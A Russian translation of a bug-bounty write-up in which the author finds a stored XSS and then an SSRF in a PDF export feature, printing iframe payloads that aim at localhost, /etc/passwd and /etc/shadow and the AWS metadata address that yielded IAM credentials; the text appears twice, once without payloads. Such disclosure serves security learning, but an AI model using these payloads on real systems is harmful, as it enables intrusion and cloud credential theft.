Рохит Сони вернулся с еще одной рецензией, и на этот раз он касается критического SSRF, который приводит к раскрытию учетных данных AWS. Давайте погрузимся в это, не теряя времени.
Пару месяцев назад, когда во всем мире была изоляция из-за пандемии COVID-19, я тратил большую часть времени на охоту, изучение и изучение новых вещей (в частности, пентестинга).
Однажды, прокручивая канал linkedin, я увидел сообщение одного парня о том, что он получил зал славы на сайте target.com. Сообщение привлекло мое внимание, и, поскольку я не охотился ни на одну программу, я начал охоту на эту программу.
Я создал учетную запись на target.com и начал изучать все функции. Потратив пару часов на поиск и изучение функций, я увидел, что мой адрес электронной почты был отражен в ответе в теге скрипта, как показано на изображении ниже.
Посмотрите на email.
Первое, что пришло мне в голову, это XSS. Я изменил свой адрес электронной почты на testacc@hubopss.com‘-alert («h4ck3d !!») - ’Но не удалось, потому что это недействительный адрес электронной почты. Но в следующий момент я перехватил запрос с помощью burp и смены своего адреса электронной почты в перехваченном запросе и переслал его.
Бум… .Получил сохраненный XSS.
Полезная нагрузка отображается без фильтрации / кодирования / очистки специальных символов.
Основной причиной этого XSS было отсутствие проверки ввода на стороне сервера. Веб-сайт проверял адрес электронной почты только на стороне клиента, поэтому он не позволял мне напрямую вводить мою полезную нагрузку в поле электронной почты, но, поскольку сервер не отфильтровывал и не кодировал специальные символы, мои полезные данные сохранялись, и я получил всплывающее окно.
Ладно, это круто, но где обещанный SSRF !? ?
Основная история начинается отсюда.
Сохраненный XSS - хорошая находка, но хакер внутри меня кричал: «Вы можете найти критическое, я хочу P1?». Итак, я продолжил охоту и наткнулся на функциональность, которая позволяет экспортировать введенный пользователем текст в файл pdf.
Увидев эту функциональность, я вспомнил статью о ssrf из-за злоупотребления функциональностью генератора PDF. Я не читал рецензию, но вспомнил название. Я быстро погуглил по названию и нашел нужную рецензию, прочитал и применил то же самое.
Идентификационная часть:
Мне удалось выяснить, что поле содержимого настраиваемой титульной страницы было уязвимо.
Идентификационная часть:
Мне удалось выяснить, что поле содержимого настраиваемой титульной страницы было уязвимо.
Я сделал следующее: я предоставил HTML-теги в качестве входных данных в поле содержимого пользовательской титульной страницы и экспортировал их как pdf. и я получил кое-что очень интересное.
Как вы можете видеть на скриншоте выше, он принял HTML-теги и сгенерировал PDF-файл в соответствии с предоставленными HTML-тегами. Интересно..!!
Следующий шаг - проверить, уязвим ли он для SSRF. Я подтвердил, что функция создания файла pdf уязвима для SSRF с использованием тега <iframe> и клиента для совместной работы Burp. Полезная нагрузка, которую я использовал:
HTTP-запрос от целевого сервера регистрируется в моем клиентском окне соавтора burp. Вау, SSRF опознан.
Основная причина: тег <iframe>, используемый для встраивания / загрузки веб-сайта на другой веб-сайт. При создании файла pdf целевой сервер попросил моего клиента-соавтора burp загрузить его в тег <iframe>. В результате я получил запрос, зарегистрированный в клиенте соавтора.
Тем не менее, этот SSRF не имеет большого влияния. Давайте поработаем и посмотрим, чего мы можем достичь, используя этот SSRF.
Часть эксплуатации
Чтобы использовать этот SSRF, я использовал следующую полезную нагрузку.
Но, к сожалению, это не сработало, и мне показали пустой файл pdf.
После этого я решил загрузить файлы, хранящиеся на стороне сервера. Например, файл / etc / passwd. Для этого я создал следующую полезную нагрузку.
Но опять невезение. Получил такой же пустой файл pdf.
Я использовал разные полезные нагрузки для использования SSRF, но у меня ничего не вышло. Немногие из них таковы. (Я потерпел неудачу, не значит, что и вы тоже. Испытайте удачу?)
Ни одна из вышеперечисленных полезных нагрузок у меня не работала. Затем я подумал проверить IP-адрес, который получил клиент-коллаборатор отрыжки на shodan, и узнал, что веб-сайт работает на машине Amazon EC2.
После значительного количества неудачных попыток. Я сделал перерыв и подумал спросить ритика сахни. Он мой хороший друг и 15-летний талантливый хакер. Я позвонил ему и рассказал весь сценарий.
Он потратил несколько минут и ответил: «Попробуйте загрузить следующий URL-адрес в источник iframe: http://169.254.169.254/latest/meta-data/».
Как только я это сделал, я подумал: «Вау !! Я получил их внутренние каталоги и файлы, перечисленные в iframe.
Вам должно быть интересно, откуда пришел IP-адрес 169.254.169.254.!
IP-адрес 169.254.169.254 является локальным адресом ссылки и действителен только для экземпляра. Проще говоря, мы можем сказать, что этот IP-адрес является локальным хостом для вашего экземпляра EC2.
и используя http://169.254.169.254/latest/meta-data/, мы можем получить метаданные экземпляра.
Затем Ritik сказал мне проверить каталог iam /. Мне удалось получить учетные данные безопасности AWS из каталога iam. Взгляните на прилагаемый PoC ниже.
Окончательная полезная нагрузка:
На выявление и использование SSRF у меня ушло около 4 часов. Особая благодарность моему другу Ритику Сахни (@ deep.tech).
Надеюсь, вам понравился мой рассказ. Если у вас есть какие-либо вопросы или предложения, свяжитесь со мной через Instagram, Twitter или linkedin.
Хорошей охоты.
Instagram: @street_of_hacker
Twitter: @streetofhacker
LinkedIn: Рохит Сони
Особая благодарность Ритику Сахни: @ deep.tech
А также спасибо target.com за потрясающие подарки.
Пару месяцев назад, когда во всем мире была изоляция из-за пандемии COVID-19, я тратил большую часть времени на охоту, изучение и изучение новых вещей (в частности, пентестинга).
Однажды, прокручивая канал linkedin, я увидел сообщение одного парня о том, что он получил зал славы на сайте target.com. Сообщение привлекло мое внимание, и, поскольку я не охотился ни на одну программу, я начал охоту на эту программу.
Мне не разрешено раскрывать целевой веб-сайт. Итак, назовем это target.com
Я создал учетную запись на target.com и начал изучать все функции. Потратив пару часов на поиск и изучение функций, я увидел, что мой адрес электронной почты был отражен в ответе в теге скрипта, как показано на изображении ниже.
Посмотрите на email.
Первое, что пришло мне в голову, это XSS. Я изменил свой адрес электронной почты на testacc@hubopss.com‘-alert («h4ck3d !!») - ’Но не удалось, потому что это недействительный адрес электронной почты. Но в следующий момент я перехватил запрос с помощью burp и смены своего адреса электронной почты в перехваченном запросе и переслал его.
Бум… .Получил сохраненный XSS.
Полезная нагрузка отображается без фильтрации / кодирования / очистки специальных символов.
Основной причиной этого XSS было отсутствие проверки ввода на стороне сервера. Веб-сайт проверял адрес электронной почты только на стороне клиента, поэтому он не позволял мне напрямую вводить мою полезную нагрузку в поле электронной почты, но, поскольку сервер не отфильтровывал и не кодировал специальные символы, мои полезные данные сохранялись, и я получил всплывающее окно.
Ладно, это круто, но где обещанный SSRF !? ?
Основная история начинается отсюда.
Сохраненный XSS - хорошая находка, но хакер внутри меня кричал: «Вы можете найти критическое, я хочу P1?». Итак, я продолжил охоту и наткнулся на функциональность, которая позволяет экспортировать введенный пользователем текст в файл pdf.
Увидев эту функциональность, я вспомнил статью о ssrf из-за злоупотребления функциональностью генератора PDF. Я не читал рецензию, но вспомнил название. Я быстро погуглил по названию и нашел нужную рецензию, прочитал и применил то же самое.
Идентификационная часть:
Мне удалось выяснить, что поле содержимого настраиваемой титульной страницы было уязвимо.
Идентификационная часть:
Мне удалось выяснить, что поле содержимого настраиваемой титульной страницы было уязвимо.
Я сделал следующее: я предоставил HTML-теги в качестве входных данных в поле содержимого пользовательской титульной страницы и экспортировал их как pdf. и я получил кое-что очень интересное.
HTML:
<center><u>hello there</u></center>Как вы можете видеть на скриншоте выше, он принял HTML-теги и сгенерировал PDF-файл в соответствии с предоставленными HTML-тегами. Интересно..!!
Следующий шаг - проверить, уязвим ли он для SSRF. Я подтвердил, что функция создания файла pdf уязвима для SSRF с использованием тега <iframe> и клиента для совместной работы Burp. Полезная нагрузка, которую я использовал:
HTML:
<iframe src = «http://something.burpcollaborator.net»> </iframe>HTTP-запрос от целевого сервера регистрируется в моем клиентском окне соавтора burp. Вау, SSRF опознан.
Основная причина: тег <iframe>, используемый для встраивания / загрузки веб-сайта на другой веб-сайт. При создании файла pdf целевой сервер попросил моего клиента-соавтора burp загрузить его в тег <iframe>. В результате я получил запрос, зарегистрированный в клиенте соавтора.
Тем не менее, этот SSRF не имеет большого влияния. Давайте поработаем и посмотрим, чего мы можем достичь, используя этот SSRF.
Часть эксплуатации
Чтобы использовать этот SSRF, я использовал следующую полезную нагрузку.
HTML:
<iframe src = «http: // localhost»> </iframe>Но, к сожалению, это не сработало, и мне показали пустой файл pdf.
После этого я решил загрузить файлы, хранящиеся на стороне сервера. Например, файл / etc / passwd. Для этого я создал следующую полезную нагрузку.
HTML:
<iframe src = «file: // etc / passwd»> </iframe>Но опять невезение. Получил такой же пустой файл pdf.
Я использовал разные полезные нагрузки для использования SSRF, но у меня ничего не вышло. Немногие из них таковы. (Я потерпел неудачу, не значит, что и вы тоже. Испытайте удачу?)
HTML:
<iframe src = «file: // etc / shadow»> </iframe>
<iframe src = «http: localhost»> </iframe>
<iframe src = «// 192.168.0.1»> </iframe>
<iframe src = «http://127.0.0.1»> </iframe>Ни одна из вышеперечисленных полезных нагрузок у меня не работала. Затем я подумал проверить IP-адрес, который получил клиент-коллаборатор отрыжки на shodan, и узнал, что веб-сайт работает на машине Amazon EC2.
После значительного количества неудачных попыток. Я сделал перерыв и подумал спросить ритика сахни. Он мой хороший друг и 15-летний талантливый хакер. Я позвонил ему и рассказал весь сценарий.
Он потратил несколько минут и ответил: «Попробуйте загрузить следующий URL-адрес в источник iframe: http://169.254.169.254/latest/meta-data/».
Как только я это сделал, я подумал: «Вау !! Я получил их внутренние каталоги и файлы, перечисленные в iframe.
Вам должно быть интересно, откуда пришел IP-адрес 169.254.169.254.!
IP-адрес 169.254.169.254 является локальным адресом ссылки и действителен только для экземпляра. Проще говоря, мы можем сказать, что этот IP-адрес является локальным хостом для вашего экземпляра EC2.
и используя http://169.254.169.254/latest/meta-data/, мы можем получить метаданные экземпляра.
Затем Ritik сказал мне проверить каталог iam /. Мне удалось получить учетные данные безопасности AWS из каталога iam. Взгляните на прилагаемый PoC ниже.
Окончательная полезная нагрузка:
HTML:
<iframe src = «http://169.254.169.254/latest/meta-data/iam/security-credentials/Worker» width = «100%»> </iframe>На выявление и использование SSRF у меня ушло около 4 часов. Особая благодарность моему другу Ритику Сахни (@ deep.tech).
Надеюсь, вам понравился мой рассказ. Если у вас есть какие-либо вопросы или предложения, свяжитесь со мной через Instagram, Twitter или linkedin.
Хорошей охоты.
Instagram: @street_of_hacker
Twitter: @streetofhacker
LinkedIn: Рохит Сони
Особая благодарность Ритику Сахни: @ deep.tech
А также спасибо target.com за потрясающие подарки.
https://rohit-soni.medium.com/story-behind-sweet-ssrf-40c705f13053 Перевёл:danyrusdem
